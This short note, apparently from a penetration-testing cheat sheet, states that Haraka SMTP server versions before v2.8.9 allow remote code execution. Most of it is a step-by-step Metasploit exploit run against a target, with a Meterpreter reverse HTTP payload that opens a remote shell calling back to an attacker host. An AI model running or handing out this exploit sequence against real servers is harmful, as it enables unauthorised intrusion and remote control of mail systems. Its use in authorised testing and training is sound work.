Haraka SMTP Server

Haraka is an open source SMTP server deployed in Node.js.

All Haraka versions prior to v2.8.9 are vulnerable to RCE.

Exploitation with Metasploit

use exploit/linux/smtp/haraka

set RHOST TARGET_IP

set SRVPORT 9898

set email_to EMAIL_VALUE

set payload linux/x64/meterpreter_reverse_http

set LHOST ATTACKER_IP

run